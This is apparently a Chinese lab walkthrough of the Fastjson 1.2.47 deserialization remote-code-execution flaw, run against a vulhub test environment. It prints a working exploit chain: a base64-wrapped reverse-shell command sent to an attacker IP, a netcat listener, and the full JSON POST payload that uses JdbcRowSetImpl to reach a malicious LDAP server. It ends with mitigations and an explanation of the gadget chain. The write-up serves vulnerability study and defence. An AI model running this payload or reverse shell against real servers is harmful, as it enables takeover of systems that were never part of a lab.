Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
CNVD-2019-22238
严重
< Fastjson 1.2.47 及之前的版本
链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan
vulhub的靶场环境:vulhub/fastjson/1.2.47-rce](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)
运行测试环境:
docker compose up -d
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出:
手工主动测试,利用非法json格式来尝试获取回显:
如图我们可以看到,服务端返回报错内容中包含fastjson。
借助DNSLog,让目标服务器访问,查看回显
发现有回显,说明存在漏洞
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
工具开启JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"
以下命令的解释:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}
部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=
作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d
进行解码,最后解码的结果再传递给bash -i
进行执行。其中,{bash,-i}
部分表示使用交互模式运行bash其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/
编码过程如图:
执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:
kali开启监听:
nc -lvvp 7777
发送请求包:
POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 261
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.9.75.101:1389/zbcmsg",
"autoCommit":true
}
}
发送之后,可以看到kali已经获得反弹Shell
这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
的 -C
参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:
bash -i >& /dev/tcp/10.9.75.101/7777 0>&1
通过网站在线编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/
编码过程如图:
将以上编码结果交给 -C
参数,再使用 -A
参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。
如下检测结果:存在漏洞
通过异常json输入之后的响应回显,判断是否使用fastjson
升级Fastjson到最新版
使用安全产品过滤非法内容
比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。
更换其它序列化工具 Jackson/Gson
不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:
由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。
所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。
很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有
set
方法setAutoCommit
,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:利用JdbcRowSetlmpl类中的方法
setAutoCommit()
:进入connect方法:
我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。
为什么下载我们的EXP后会自动执行呢?
因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。
如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。